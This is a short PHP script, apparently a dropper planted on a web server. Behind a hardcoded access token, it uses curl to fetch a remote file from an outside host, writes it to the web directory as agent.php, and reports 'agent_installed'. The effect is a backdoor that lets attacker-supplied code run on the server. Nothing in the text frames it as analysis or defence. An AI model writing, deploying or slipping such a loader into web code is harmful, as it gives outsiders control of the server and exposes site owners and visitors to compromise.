<?php $token = "83fds2kfms3q"; if(($_GET["token"] ?? "") !== $token){ http_response_code(403); exit; } $remote = "https://hacklinkhub.io/agent/agent.txt"; $target = __DIR__."/agent.php"; $ch = curl_init($remote); curl_setopt_array($ch,[ CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 20, CURLOPT_FOLLOWLOCATION => true ]); $data = curl_exec($ch); curl_close($ch); if(!$data){ echo "download_failed"; exit; } file_put_contents($target,$data); echo "agent_installed";